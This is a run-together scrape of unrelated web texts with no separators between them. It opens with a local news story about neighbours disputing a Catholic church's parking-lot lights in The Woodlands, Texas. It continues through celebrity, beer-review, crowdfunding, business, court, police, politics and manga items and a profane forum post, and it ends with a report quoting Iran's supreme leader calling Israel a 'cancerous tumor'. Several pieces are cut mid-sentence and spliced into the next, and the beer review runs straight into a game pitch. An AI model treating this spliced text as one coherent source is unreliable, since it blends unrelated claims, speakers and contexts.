Neighbors continue to complain about bright lights and other matters over the expansion of St. Anthony of Padua Catholic Church in The Woodlands, Texas. Neighbors continue to complain about bright lights and other matters over the expansion of St. Anthony of Padua Catholic Church in The Woodlands, Texas. Photo: Handout Photo: Handout Image 1 of / 4 Caption Close Dispute over church expansion project, Laurelhurst residents continues 1 / 4 Back to Gallery
An ongoing dispute over the expansion of St. Anthony of Padua Catholic Church and neighbors who have been complaining about lights from the church parking lot shining into their homes and other matters continued on Wednesday night.
The latest issue that is creating tension between neighbors and the church involves car headlights shining through gaps in a church fence.
During a meeting of The Woodlands Township Development Standards Committee on Wednesday, Nov. 15, committee members discussed the steps that have been taken to keep headlight beams from passing through gaps in the fence that surrounds the church and its expanded parking lot. The complaints about the light beams are another in a list of issues residents of the Laurelhurst neighborhood have been complaining about since the church embarked on its $22 million expansion project in 2016.
Wednesday's meeting follows a DSC meeting last month where committee members, after making a nighttime visit to the church, agreed something had to be done to about the light beams filtering through the fence.
In the Oct. 18 DSC meeting, it was agreed that some sort of blockage-such as screening or slats-would be installed on the inside of the fence to stop the lights from shining through the fence. Plants have also been put in the ground but have not grown up along the fence to cover the openings.
During the meeting, the committee heard that the slats installed were effective in keeping the lights from cars from shining through gaps in the fence, but the slats had been installed on the outside of the fence, not the inside, as expected.
So, after further discussion on the matter, and hearing from two neighbors, the committee voted unanimously on a motion to deny the fence modification and requested a similar modification for the construction side of the fence and for the installation of a full length picket on the interior of the fence. In other words, church officials would have to have the pickets, or slats, installed on the inside of the fence, as previously expected. The changes would have to be completed within 30 days.
A church official, who did not identify himself, appeared at the meeting but did not address the committee.
NEIGHBORS SAY PARKING LOT LIGHTS SHINE INTO THEIR HOMES
Two neighbors also appeared addressed the committee, complaining not about the vehicle lights coming through gaps in the fence, but reiterating previous complaints about the church's expansion and the powerful lights mounted on poles that rise above the church's parking lot and shine into their homes.
"We're already looking at an eyesore up and down that greenbelt," said Leela Duncan, referring to the church expansion project.
Another neighbor, Dennis Carmichael, complained to the committee about the light beams from the parking lot lights that come on before sunrise and shine into his home and the homes of his neighbors.
"There's no reason for that to be [the lights] on at 5 a.m." Carmichael said.
"We've been battling with them for additional trees, we've been battling with them for getting this whole lighting issue fixed," Carmichael said after the meeting. "The lights are on until 9:30 at night and they do bleed into the homes and then the lights come on at 5 a.m. in an empty parking lot."
EARLIER DISPUTE SPARKED NEIGHBORHOOD PROTEST
The dispute between neighborhood residents and the church goes back to last year after the church broke ground in April 2016 on a master expansion plan at its building on Bay Branch Drive. The plans include a 350-seat chapel, 300 additional parking spaces, a new food pantry, an outreach facility, a sports field and more.
In August last year, nearby residents took their displeasure about the expansion to the streets when they greeted the church's parishioners with a Sunday morning protest. The neighbors were angry with what they termed the church's clear-cutting of a thick greenbelt that separated their back yards from the expanded parking lot. Residents said at the time a thick greenbelt of trees had been bulldozed to make room for the extended parking lot.If you loved watching Wisconsin defense attorney/courtroom bae Dean Strang fighting on behalf of convicted killer Steven Avery in Making a Murderer, get ready to hit the road with America’s favorite bespectacled lawyer—the Road to Justice.After spending decades as a criminal defense lawyer, author, law professor, and Wisconsin’s first Federal Defender, the soft-spoken Strang became an instant standout of Netflix’s true crime docuseries as the cameras captured him fighting to prove Avery’s innocence alongside defense partner Jerome Buting.Now Strang is adding another laurel to his resume: reality TV star.He’ll star in and executive produce Dean Strang: Road to Justice, which will follow in the style of Parts Unknown and attempt to make Strang the Anthony Bourdain of criminal justice. Produced by Covert Media, the docuseries is set to launch with a season consisting of eight one-hour episodes in which Strang guides viewers through landmark legal cases that expose flaws in the criminal justice system—a hot topic he passionately discussed with The Daily Beast in January.“Why are so many teenagers treated as adults in the criminal justice system? Why do we impose sentences of life without the possibility of parole?” he asked then. “That’s just a slow death sentence. Why do we do that, especially in a case where there really are serious questions about guilt, for both of these guys?”“Why do we have a criminal justice system in which north of 90 percent of people charged with a crime anywhere in this country have not enough money to hire a lawyer to defend them, let alone mount the rest of the defense? Why is that? What role does class play in our criminal justice system, both in the prospects of being charged and in the prospects of an outcome?”Frankly it’s about time savvy Hollywood execs capitalized on Strang’s penchant for breaking into impassioned bursts of eloquence and pathos. He and Buting are currently in the midst of a 26-city speaking tour drafting off their Making a Murderer popularity.Meanwhile, Avery’s new lawyer Kathleen Zellner earned her own colorful Newsweek profile teasing her childhood ferocity and love of martial arts—and, more importantly, her promise to uncover Teresa Halbach's “real” killer.“I’d say there’s one, leading the pack by a lot,” she said of numerous suspects her team has in their sights. “But I don’t want to scare him off, I don’t want him to run.”Review by: Cory Smith
Snowflakes, Mila Kunis’ eyes, and Goose Island’s Winter-time release — what do these things have in common? No, not just that they are beautiful sights, each of these things are different from their counterparts. Each snowflake is unique, Mila has one eye that is brown while the other is blue, and Goose Island constantly changes their Winter Brown Ale recipe to fit their needs and desires. This year, they are dubbing this bodacious brown, Festivity Ale.
Festivity Ale is probably one of the few Christmas Ales we try that isn’t hopped up on holiday spices. The brewer of Festivity Ale said that it is like they “wrapped caramel and dark fruit malt flavors inside a creamy toasty brown ale.” This sounds perfect as it is frigid outside, and I could use a big malty brown ale to warm me up. At 7.7% ABV, this should do the trick.
…This year we wrapped caramel and dark fruit malt flavors inside a creamy toasty brown ale…
Appearance:
Festivity Ale is a deep chestnut-colored ale with enough head to last throughout the yuletide season. The head is Khaki in color, poured about two fingers thick. When held up to the light, this brown ale shows off it’s true colors, revealing a ruby-red hue that instantly puts you into the Christmas spirit. Even though this is a dark beer, it is extremely clear, almost a little too clear. The CO2 explodes out of the body of this beer like my favorite bubble light ornaments that hang on my tree.
Aroma:
You know, sometimes the brewers just hit their description spot on. Festivity Ale smells deep, rich, thick, and somewhat boozy. It gives off notes of dark caramel, figs, plums, and raisins, and it almost smells like a belgian quad in that regard. I don’t know that I’ve ever smelled a brown ale with this aroma before. Hints of apple, cherry, cinnamon and brown sugar are also there. It’s like waking up to see that there are layers upon layers of presents under your tree — it’s almost too good that it’s overwhelming.
Mouthfeel:
While it appears to be thick, and it smells thick, the mouthfeel on Festivity Ale is surprisingly light. I was completely caught off guard with |
will be decided by a random draw, as we will be working to ensure the stability of all systems. We hope we will be able to reach the first alpha release in the fall of 2016.
Have you ever wanted to use your favorite name in an MMO, only to find out that it was already taken? Now you will have an opportunity to reserve it for our game and nobody except you will be able to use it.
We will prepare several exclusive DVD-box sets of the game, developed for this campaign. Inside you will find two discs (containing the game and the soundtrack), and some additional bonuses, along with a thank you from the team. All of the production and shipping costs are on us, you will be able to receive the reward close to the release date.
You will receive a colorful artbook full of concept art from our artists. Glossy pages bound in a hard cover include all the details about the game universe and will be a great addition to your collection. All of the production and shipping costs are on us, production of the artbooks will begin after the game’s release.
Owners of this reward will be able to take part in further world-building. We will be creating game content based on your sketches, photos or descriptions. For example, this can be a building, a special set of clothing, your own statue, a new NPC or a street sign named after you.
We will add more, if you reach the maximum.
Prelude Games Factory is a young team of developers, formed in April 2014 with a goal to create and develop a setting called Dogma: Eternal Night. Our team has members from post-soviet countries, such as Russia or Republic of Belarus, as well as those from numerous other countries from around the world such as the United States. The most important tenet our team upholds is “for the fans, by the fans” and each and every one of us are, first of all, a part of the gaming community and secondly, we’re then developers.
The idea to create the team and the project first appeared at the end of 2013, as the rumors about the cancellation of a well-known IP began to circulate. As cancellations for many promising games happened, in April 2014, the members and the administrators of a Russian community decided to join forces and create their own game.Robots have already started to replace humans in various jobs, as a result of which humans are out of jobs and rightly worried about sources of employment for the future, and with the rapid advancement in robot technology it’s not like this momentum is going to slow down soon. Samsung and South Korea are now working to create robots which will be cheaper than human workers, essentially replacing them in factories where mass production of things like mobile devices takes place.
The Ministry of Trade, Industry and Energy of South Korea has set aside 6.75 billion won or $14.8 million to aid Samsung in developing robots which will be able to function in such facilities.
Samsung and the Ministry aren’t keeping their aim for this a secret, they are well aware that wages are rising in China and want to bring some of that lucrative manufacturing business over to South Korea by replacing human workers with robots.
If they’re able to create robots that can replace humans on smartphone production lines then it’s quite likely that contract manufacturers like Foxconn, which assembles iPhones and other Apple devices, will seek out options that saves them the most amount of money.
It’s easier said than done though, and it might take Samsung and South Korea a considerable amount of time before they’re able to come up with robots that can fully replace humans on the production line. Though when they’re finally able to do so it might shake up things considerably in the global manufacturing industry which China has been leading for quite some time now.
Filed in. Read more about Samsung. Source: theregister@DavidKlepper/Twitter Student protestors at Brown University forced the school to cancel a planned speech by Ray Kelly today, drowning out the NYPD commissioner with chants as he stood onstage.
The Brown Daily Herald reports that around 100 protestors rallied outside of Kelly's speech at Brown, and began to interrupt him inside the lecture hall where he was scheduled to speak. The protests appeared to be attacking Kelly's policies as NYPD head, including the controversial "stop and frisk."
At one point, Kelly reportedly told the crowd, "I thought this was the Academy... where we're supposed to have free speech."
After about half an hour, the lecture was cancelled and the auditorium was emptied. According to the Herald, one Brown administrator told the audience, "I have never seen in my 15 years at Brown the inability to have a dialogue."
Brown students and alumni appeared to be split as to whether it was right for the protesters to not give a Kelly an opportunity to speak:Ontario Premier Kathleen Wynne says the first conversation she wants to have with Justin Trudeau once he’s sworn in as prime minister will be about enhancing the CPP.
Wynne says her Liberal government will proceed with mandatory payroll deductions starting Jan. 1, 2017 for the new Ontario Retirement Pension Plan, which essentially mirrors the CPP for anyone who doesn’t already have a workplace pension.
Read: Businesses scared of ORPP’s economic impact
Outgoing Prime Minister Stephen Harper called the provincial pension a job killing payroll tax, and said he was “delighted” to block any federal assistance to set up or administer the Ontario plan.
Wynne says she doesn’t expect that kind of attitude from a Trudeau government, and in fact hopes the new prime minister can help persuade other provinces to agree to increase deductions and benefits under the CPP.
She says it’ll take a while to get other provinces on side with enhancing the CPP, but if there is such an agreement, Ontario wouldn’t need to create its own pension.
But in the meantime, the province will proceed as if it has to set up and administer its own pension without any federal help, even though it could spend millions of dollars on an effort that could ultimately be scrapped.
Read: What you need to know about the ORPP
“We are going to continue to implement the ORPP until we know that there is a plan to enhance the CPP that will deal with the issue of the majority of people in the province not having a workplace pension plan, and the adequacy of their retirement security,” Wynne told The Canadian Press. “Those are the two issues that need to be dealt with, and it will take time.”
Wynne also wants Trudeau to agree to let the Canada Revenue Agency help Ontario administer its new provincial pension plan until there is a deal on the CPP.
“That’s going to be the first conversation I have with the prime minister,” she said.
It will save the Ontario government money and help businesses adjust to the provincial pension plan much more quickly if Ottawa helps with administration, added Wynne.
“I think in the short term the prime minister and I will be able to come to some agreement about the federal government helping us with the implementation,” she said. “We have a federal government now that understands they want to work with the province.”
The Ontario Retirement Pension Plan will require mandatory contributions from employers and workers at any company that does not already offer a workplace pension. Companies will have to pay premiums of 1.9 per cent for each employee, up to $1,643 a year, and the workers would pay an equal amount.
The plan will be phased-in, starting Jan. 1, 2017 for companies with 500 or more workers, expanding to companies with 50-to-499 workers in 2018 and to employers with fewer than 50 workers in 2019.
Read: B.C. finally gets its new Pension Benefits Standards Act
Business groups including the Chamber of Commerce say the economic impact of the provincial pension plan could prompt small employers to reduce their payroll or hire fewer workers.TOKYO, Aug 20 (Reuters) - Japan on Thursday asked the World Trade Organization to set up a panel to rule on South Korea’s import bans and testing requirements for Japanese food after the 2011 Fukushima nuclear disaster, since the restrictions show no signs of being eased.
Japan launched a trade complaint at the WTO in May, saying the South Korean measures violated a WTO agreement and that Seoul had failed to justify the measures as required.
“We held two days of bilateral discussions on this on June 24 and 25, but there was no expression from the Korean side of when the restrictions might be lifted,” Japan’s Agriculture Ministry said on its website.
“Since more than 60 days have passed since the complaint was lodged, and there is no sign of when the restrictions might be repealed, we have asked today, in accordance with WTO rules, for the establishment of a panel.”
South Korea in May expressed regret at Japan’s move and said then that the ban on some Japanese seafood was necessary and reflected safety concerns.
Japan countered by saying levels were safe and that a number of other nations, including the United States and Australia, had lifted or eased Fukushima-related restrictions.
The average annual value of South Korean imports of Japanese fish and seafood was $96 million in 2012-2014, less than half the average of $213 million in 2006-2010, according to data from the International Trade Centre in Geneva. (Reporting by Elaine Lies; Editing by Ryan Woo)NEW YORK (Reuters) - U.S. stocks edged higher in volatile trading on Wednesday after the U.S. Federal Reserve renewed its pledge to keep interest rates near zero for a “considerable time” and repeated concerns over slack in the labor market, standing firm against calls to overhaul its policy statement.
Interest rate projections, however, show Fed officials expect rate hikes, when they come, will do so at a quicker pace than previously forecast. The U.S. dollar jumped against the euro and yen after the statement and data release. Shares in financials.SPSY, up 0.4 percent, extended gains to end the session as one of the better performing S&P sectors took the lead on the S&P 500.
“The two statements that were clear was, of course, the ‘considerable time’ maintained in there and the significant underutilization, so both those terms were left over from the previous one, which tells you there is not any meaningful moves anytime soon,” said Terry Dufrene, global investment specialist at JPMorgan Private Bank in New Orleans.
Stocks moved between gains and losses immediately after the statement before trending higher during Fed Chair Janet Yellen’s press conference, only to pare gains towards the close as the S&P 500 reached a technical resistance point near its record intraday high. The Dow managed to inch higher to set a closing record.
“What that means is people were anticipating more than what was in the statement, so it was an anticipatory reaction versus a reaction to the fact,” said Dufrene.
The Dow Jones industrial average.DJI rose 24.88 points, or 0.15 percent, to 17,156.85, the S&P 500.SPX gained 2.59 points, or 0.13 percent, to 2,001.57 and the Nasdaq Composite.IXIC was added 9.43 points, or 0.21 percent, to 4,562.19.
Materials.SPLRCM were the best performing sector, up 0.6 percent, led by a 5.2 percent gain in DuPont DD.N after activist investor Nelson Peltz’s Trian Fund Management, among the biggest shareholders in the company, urged it to separate its high-growth businesses from those with strong cash flows.
Housing stocks outperformed the broader market in the wake of earnings from homebuilder Lennar Corp (LEN.N), up 5.8 percent to $41.40, and upbeat data on homebuilder sentiment. The PHLX housing index.HGX advanced 1.6 percent to notch its biggest gain in a month.
U.S. consumer prices fell for the first time in nearly 1-1/2 years in August and underlying inflation pressures were muted, giving the Fed more ammunition in its argument to keep rates low.
The largest percentage gainer on the New York Stock Exchange was Hyperdynamics HDY.N, up 20.22 percent, while the largest percentage decliner was Rackspace Hosting RAX.N, down 17.67 percent.
Among the most active stocks on the NYSE were Bank Of America (BAC.N), up 0.36 percent to $16.77; Petrobras (PBR.N), up 0.57 percent to $17.61; and General Electric (GE.N), up 0.23 percent to $26.27.
On the Nasdaq, Apple Inc (AAPL.O), up 0.7 percent to $101.58; Yahoo Inc YHOO.O, down 0.3 percent to $42.59; and Microsoft (MSFT.O), down 0.5 percent to $46.52, were among the most actively traded.
Traders work on the floor of the New York Stock Exchange September 17, 2014. REUTERS/Brendan McDermid
Advancing issues outnumbered decliners on the NYSE by 1,563 to 1,500, for a 1.04-to-1 ratio on the upside; on the Nasdaq, 1,530 issues rose and 1,158 fell for a 1.32-to-1 ratio favoring advancers.
The broad S&P 500 index posted 43 new 52-week highs and 8 new lows; the Nasdaq Composite saw 57 new highs and 60 new lows.
Volume was active, with about 6.06 billion shares traded on U.S. exchanges, above the 5.65 billion average so far this month, according to data from BATS Global Markets.The technology behind the Bitcoin digital currency could usher in an era of ‘smart contracts’ and enable the creation of a tamper-proof Land Registry database, legal technology experts said this week in the wake of a landmark government report.
Mark Walport, the government’s chief scientific adviser, last week said that ‘distributed ledger technology’ offers the potential to reduce fraud, corruption and the cost of paper-intensive processes, including contracts.
A distributed ledger is a database of assets – usually financial or legal data – shared across a group of users and secured by cryptography.
All members of the network have an identical copy, with any updates communicated in seconds across multiple copies. It relies on a tamper-proof chain of encrypted data known as a block chain. This used to secure the virtual currency Bitcoin, which has been in use since 2009.
According to the Walport report, it can also be used to create a secure ‘smart’ online contract, ‘with cryptographic certainty that the agreement has been honoured in the ledgers, databases or accounts of all parties’.
Timothy Hill, technology policy adviser at the Law Society, said it is essential that lawyers are aware of distributed ledger technology. ‘As the report makes clear block chains – or distributed ledgers – are a powerful innovation that could have a profound impact on both the law and the provision of legal services.
‘They could be used to declare wills, transfer property or create self-executing contracts. They also raise profound questions about the future balance between technical code and legal code – something Walport suggests that lawyers and technologists will need to work together to get right.’
Rich Folsom, senior associate at specialist technology firm Kemp Little, said the report would demystify the technology and bring it onto boardroom agendas. He said that one potential application could be in securing Land Registry’s database as every transaction would need to be reconciled across the network and a cyberattack would need to attack all copies simultaneously to be successful.
However, he cautioned against any rush to regulate distributed ledger systems, as mooted in the Walport report: ‘It is quite easy to listen to the loudest people – those calling for further regulatory approval tend to be those who would benefit most.’BMW has offered another glimpse of its Z4 concept ahead of its reveal at the Pebble Beach Concours d’Elegance on 17 August.
A new preview image released on social media shows that the open-top concept will feature a long bonnet and a pair of rear butresses. The car's sleek design looks similar to that of the BMW Gina concept of 2008.
The shape will influence the design of the upcoming production Z4, due in 2019; however, that car is expected to feature a more conventional folding soft top, as seen on Z4 development cars.
The third-generation Z4 is part of what BMW’s head of sales and marketing, Ian Robertson, describes as the most comprehensive new model push.
Codenamed G29, the new convertible is being developed in a joint engineering programme between BMW and Toyota, which will sell a coupé version as the Supra.Muslim convert from Omagh 'would not have let her children join husband in Syria' BelfastTelegraph.co.uk A Muslim convert originally from Omagh, whose abusive husband allegedly left Britain to fight for Islamic State, has told jurors she would never have taken her three young children to join him, saying: "They mean the world to me." https://www.belfasttelegraph.co.uk/news/northern-ireland/muslim-convert-from-omagh-would-not-have-let-her-children-join-husband-in-syria-34462529.html https://www.belfasttelegraph.co.uk/news/northern-ireland/article34462171.ece/04dc3/AUTOCROP/h342/PANews%20BT_P-6ebb8f9e-e73a-4f0d-9977-311177ecd2a1_I1.jpg
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A Muslim convert originally from Omagh, whose abusive husband allegedly left Britain to fight for Islamic State, has told jurors she would never have taken her three young children to join him, saying: "They mean the world to me."
Lorna Moore, 33, denied knowing teacher Sajid Aslam, 34, was going to set off for Syria while she was away on a family trip to Butlins in Skegness in August 2014.
Moore, who is originally from Omagh, Northern Ireland, told how she met Aslam when they were in the same university halls of residence.
She converted to Islam and they married three years later, going on to have three children aged 10, nine and three.
She told her Old Bailey trial that she would "never" put her children in danger and called on her husband to "grow a pair" and come back to Britain to explain himself.
Soon after the birth of their first child, she said Aslam changed and became verbally and physically abusive towards her, calling her a "f****** fat bitch".
She told jurors: "He started swearing. He pushed me into a pavement. He would grab me by the hair and put my face into the toilet and say 'Does that look clean to you?' He never left marks."
In 2010, Moore went to police to ask them to help evict him from the family house but they could not help, the court heard.
She said: "I had got to the point where I was on the verge of a nervous breakdown. I had been pleading with him to leave voluntarily.
"I went to Walsall police station and they basically said there was a thing called squatter's rights and they had no authority to go in and drag him out and if I wanted him out they suggested changing the locks."
Two weeks later, she locked him out and he stayed with his mother for the next six months until Moore went to a Muslim cleric to ask for a divorce.
On the cleric's instructions, she said: "He said I should be grateful. He said just because I was a white Muslim did not make me a special Muslim and I had to take him back in the house. I was devastated."
Aslam returned but they did not live as a couple, apart from a brief reconciliation when their third child was conceived.
In November 2014, Moore returned from a trip to visit family in Ireland to the "nightmare" of police searching her home.
She said her older children were "scared" and "confused" about what was going on while her "little one was crying".
She told the jury that she had always co-operated with the police inquiries, saying: "I wanted to help them."
Defence lawyer Rag Chand said: "The prosecution case is you were intending to leave for good - is that true?"
Moore replied "No" and pointed out that she had just paid £4,500 for a teaching course.
On her children, the lawyer asked: "Would you take them to Syria? Would you ever put their lives in danger?"
Moore replied: "Never."
Quizzing her about police interviews, the lawyer said: "You are asked about the last communication with Sajid Aslam. You say if he is innocent and got nothing to hide, he should grow a pair. What did you mean?"
Moore replied: "Exactly that. He has got three kids here. He knows surely, if he had any concern for the kids and he is innocent, the first thing he would do would be to get on a plane and explain to the police."
She added: "I hate him for the things he has done to the kids."
Moore, from Walsall, West Midlands, denies failing to tell authorities about Aslam's plan to join IS in Syria.
Moore told jurors that she had a job as a project manager for NCT - National Childhood Trust - which involved working with British Army wives.
The defendant, who was brought up by protestant parents, said she considered IS to be a "terrorist organisation".
She said she was only with Aslam "for the sake of the children", and he had even joined the online introduction agency singlemuslim.com
Moore said she had always worked and looked after the children, while her husband was more interested in computer games than helping.Lamard Joye was celebrating his 35th birthday with friends last month near a basketball court in Coney Island, Brooklyn. At some point, the police arrived and stopped a friend of his.
From several feet away, Mr. Joye objected. What happened next is now under investigation by the Brooklyn district attorney’s office, which is in possession of a cellphone video of the ensuing confrontation.
The video of the encounter, on Sept. 16 at around 12:20 a.m., shows a police officer steering Mr. Joye against a chain-link fence to pat him down. “Look,” Mr. Joye says. “Look, you see this? Look.” The police officer reaches into Mr. Joye’s pocket, removes what appears to be a folded stack of bills and steps back.
“Give me my money,” Mr. Joye says in the video. The police officer then sprays something at him.
Mr. Joye said the officer took more than $1,000 in cash and deployed pepper spray.Police believe “multiple shooters” were involved in a gunfight that left at least 28 people injured at a nightclub in Little Rock, Arkansas.
Officers said via Twitter that all those injured at the Power Ultra Lounge are alive and one who was previously listed in critical condition is now stable.
Police initially said 17 people were wounded during the attack, but they have since announced that 25 people were shot.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
Three people who weren't hit are said to have received unrelated injuries. All 28 are expected to survive.
A video posted online by Instagram user themelaninpot showed that a packed house showed up to hear Finese 2Tymes, a performer from Memphis, Tennessee.
About a half-minute into a break in the raucous concert, several bursts of gunfire rang out – more than 24 shots in an 11-second period.
Themelaninpot said: “Shooting in #littlerock #arkansas this is outrageous. Our hearts and prayers go out to everyone there.
“If you know of anyone there please check on them. We have to save our state because this is getting out of hand.”
A number of people were trampled as people rushed away from the shooter, according to officers.
Little Rock Police Chief Kenton Buckner told reporters the incident was “very alarming and certainly disturbing”.
He said there was “some sort of dispute broke out between people inside” the club and that there are “probably multiple shooting suspects”.
Police are continuing to investigate but say they do not “believe this incident was an active shooter or terror related incident”.
The club's Facebook page promoted Friday night's show with a poster depicting a man pointing what appears to be a gun at the camera. A call to a number listed for Finese 2Tymes' booking agent wasn't immediately returned early Saturday.
The shootings happened after a week of multiple drive-by shootings in Little Rock, though there's no indication they are connected.
Additional reporting by agencies
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Subscribe nowIt's been more than a year since Naruto wrapped its manga, but Masashi Kishimoto lives on in the industry. The famed creator has helped set up Boruto: Naruto Next Generations, but it seems Kishimoto has even more to share. After all, it was just announced that the Naruto creator will debut a new series next year.
Jump Festa is going on in Japan at the moment, and the event's Boruto stage made an announcement about Kishimoto. The panel confirmed the artist would debut a brand-new series in 2018. The series is being released to honor Weekly Shonen Jump's 50th anniversary, and fans are excited to see Kishimoto make a comeback.
So far, there are few details out about the new series. The initial announcement is all Shueisha was willing to say, but some sketches from the manga were shared online. As you can see below, the blurry pieces seem to show a slew of action sequences and character close-ups. There is no telling if the new title will be related to Naruto in any way, but fans should not get their hopes up. In the past, Kishimoto has said he would like to explore stories outside of his previous franchise, and this story gives him that opportunity.
Masashi Kishimoto(Naruto and Boruto) will debut a new series in 2018 as the part of jump 50th Anniversary. •Jump Festa 2018• pic.twitter.com/ebnmMzCbYs — GovetaXV (@GovetaXV) December 17, 2017
If you are not familiar with Kishimoto, you should know the artist is best-known for his work on Naruto. The artist pitched the franchise to Shueisha years ago, and it began its serialization in 1999 after it shared a successful one-shot in 1997. Naruto went on to become one of the industry's most popular franchises to date, and its anime under Studio Pierrot became a worldwide phenomenon.
Are you excited to see Kishimoto's new series? Hit me up on Twitter @MeganPetersCB to let me know and talk all things comics, k-pop, and anime!Dont really like how stuff like this is stickied in the donald but whatever.
Ill try to say what I want to say short and smart.
I have lots of trans friends, have dated trans people and have no problem with all that shit. I think the trans movement started out as a very awesome coservative leave me alone movement. It was always about "I dont give a fuck about what you think of me, I dont give a fuck what you call me, I dont give a fuck how the world treats me. I am who I am, if you dont like it fuck off"
BUT then the regressive left took ahold of the trans movement and did to them what they do to all minorities. They think they need some white middle class knights to come save them, they start bullying people on their 'behalf' and turn the trans movement into something it never was. Its the soft racism of lowered expectations, and the usually left just looking for a green light to be assholes to those who dont follow what they say is right.
TLDR: We shouldnt be anti-trans, we should be Pro-individual. The trans movement in the beginning before the PC left was all about individual freedom and not giving a fuck about the rest of the world.FullMag / YouTube Two of the biggest rumours about the iPhone 7 just got a bit more evidence to back them up.
Fast Company has published a report, based on a source "with knowledge of the company's plans," that Apple is planning to kill off the headphone jack in its next smartphone — and make the phone waterproof.
First up, the headphone jack: This has been rumoured for a while. Apple is apparently mulling over ditching the traditional 3.5 mm audio jack. By doing so, it can make the iPhone thinner, while users will be forced to switch to wireless headphones or use a pair compatible with the device's Lightning port.
The most recent report on this came via the Chinese-language site Anzhou earlier this week, which cited "supply chain sources" as the basis of its information.
If it happens, the move is guaranteed to be controversial. Just about every wired headphone set currently on the market will become incompatible (though Apple may also release a Lightning-to-3.5mm-jack-converter to ease the transition).
But Apple is no stranger to aggressively abandoning standards. From the floppy disk to the CD drive, Apple has repeatedly been one of the first to reject technologies that it views as obsolete. And in the most recent MacBook, it jettisoned every port — including the charger — in favour of a single USB-C port and a headphone jack.
Apple abandoning the ancient 3.5 mm audio jack — which has its origins in the 19th century— doesn't seem so out of character.
The second rumour in Fast Company's report is that Apple is also considering making the iPhone waterproof.
There has been speculation on this for a while, based on the fact that the iPhone 6s is significantly more waterproof than its predecessors because of the inclusion of new seals and gaskets — but Apple never advertised this. It may be that the company was quietly experimenting before a proper launch of the feature in the next-generation iPhone.
In December, The Commercial Times also reported that Apple was considering making its next device waterproof.
Apple releases its iPhones on a yearly tick-tock cycle. One year, it releases a major upgrade with a design overhaul (iPhones 4, 5, and 6); the next, it releases an -s device with incremental changes and improved guts (iPhones 4s, 5s, and 6s).
The iPhone 7, expected to launch in September 2016, is also rumoured to be getting an upgraded screen, and it might even remove the home button altogether.
Fast Company also reports Apple is looking into wireless charging and noise-cancelling headphones.Industry Minister Tony Clement has asked his Conservative colleagues in the Senate to vote against an NDP bill that would allow generic companies to copy brand-name drugs and sell them at cut rates to the world's poorest countries.
The supporters of the bill were hoping that endorsements by celebrities like K'naan and Margaret Atwood would persuade senators to fast-track the bill through the Red Chamber before the government falls on Friday and all legislation is lost.
The bill, an attempt to untie the knots in Canada's Access to Medicines Regime, had the support of an handful of Conservative MPs and Senator Nancy Ruth. As it was written by a former Liberal government, CAMR is so full of tangles that, in seven years of its existence, it has been used by just one company to send one AIDS drug to one country.
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But the Conservative government has not endorsed the NDP bill, which was passed in the House of Commons with large support from opposition members. And Mr. Clement, who divested himself of a 25 per cent stake in a pharmaceutical company by transferring shares to a partner after he became a cabinet minister, made it clear in his e-mail that he does not want to see it passed into law.
New Democratic MP Paul Dewar told the House of Commons on Thursday the Industry Minister was using the unelected Senate to pit profits for big drug companies against saving lives. "Do the Conservatives understand democracy, or do they just not like it?" Mr. Dewar asked.
Mr. Clement responded by saying the bill, as drafted, will not do anything to help the worlds' poor. He went on to chastise the opposition for prompting an "unnecessary election" that will kill the legislation.
In his e-mail to senators, Mr. Clement said Bill C -393 would allow drugs that have not been certified by Health Canada to be shipped "to unsuspecting populations, to their detriment." The drugs, he wrote, could be redirected to the black market with proceeds going to non-humanitarian causes such as weapons, and the shipments could run afoul of domestic laws and traditions.
"If current patents are threatened, the patent holders will leave Canada seeking shelter in countries which value patent protection. The loss to Canadian R & D will be significant," he wrote. And "most importantly, Canadian generics are some of the most expensive in the world. With C-393 or not, NGOs in the developing world will direct their precious resources to cheaper drugs coming from places like India and Asia."
Richard Elliott, the executive director of the Canadian HIV/AIDS Legal Network, which has been one of the main proponents of the bill, fired back with his own e-mail to senators that denounced Mr. Clement's claims as preposterous.
Bill C-393, he wrote, does not remove the requirement that Health Canada approve drugs exported under CAMR, it does not remove or weaken the existing safeguards against the diversion of medicines, it does not allow for medicines to be used in an eligible developing country contrary to its domestic law, and it does not run counter to Canada's World trade obligations.
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It does not threaten jobs or investments in research and development in Canada, wrote Mr. Elliott. "This unbelievable claim is made by big pharma based on no evidence and has been debunked by economist experts in submissions to parliamentary committees."
And finally, he wrote, the price of generic drugs in Canada is irrelevant. What is relevant "are the prices that Canadian generic manufacturers are able to offer to developing countries."
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Clarification Tony Clement divested himself of shares in a pharmaceutical company after he became a cabinet minister. He has had no right, title or interest in the company since 2006.Calling Israel a “cancerous tumor,” Iran’s supreme leader on Tuesday expressed support for a “holy intifada” to eradicate the Jewish state, arguing that the international community is headed toward confrontation with the “Zionist regime.”
In the opening address of the regime’s sixth international conference in support of the Palestinian violent uprising against Israel, Ayatollah Khamenei hailed the “resistance” against the “cruel occupation,” which he described as the worst case of oppression against one particular people recorded in history. He also accused Israel’s founders of being responsible for the current upheaval in the wider Middle East.
“The people of Palestine have no option other than keeping the flames of fighting alight by relying on Allah the Exalted and by relying on their innate capabilities, as they have genuinely done so until today,” said Khamenei, according to a translation of his speech posted on his website.
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A wave of terrorism some called a third intifada, which began last year and manifested itself mainly in stabbings and vehicular attacks against Israelis troops and civilians, is “moving forward in a bright and hopeful manner,” the ayatollah declared. “And by Allah’s permission, we will see that this intifada will begin a very important chapter in the history of fighting and that it will inflict another defeat on that usurping regime.”
“From the beginning, this cancerous tumor has been developing in several phases until it turned into the current disaster,” he went on. “The cure for this tumor should be developed in phases as well.”
While the “resistance” so far failed to achieved its ultimate objective — “the complete freedom of Palestine” — it has made important inroads, he said. “The Palestinian intifada continues to gallop forward in a thunderous manner so that it can achieve its other goals until the complete liberation of Palestine.”
Addressing some 700 delegates in a Tehran conference center, the supreme leader denounced what he called “compromise strategies” — referring to the Palestinian Authority’s endorsement of a two-state solution based on the 1967 lines — and called instead for “all-out resistance.”
Protecting Palestinian identity “is a necessity and a holy jihad,” he said in the presence of Iranian President Hassan Rouhani and Parliament Speaker Ali Larijani. “The paradigm of heroic and continuous resistance and holy intifada stands against the compromise paradigm.”
“The problem with ‘compromise’ is not only that it legitimizes a usurping regime by violating the rights of a nation,” he said. “Rather the problem is that it is completely at odds with the current condition of Palestine and that it does not take into account the expansionist, oppressive and greedy characteristics of the Zionists.”
The supreme leader declared the Palestinian plight as “the most important issue in the world of Islam and as the pivot of unity for all Muslims and all liberated individuals in the world.”
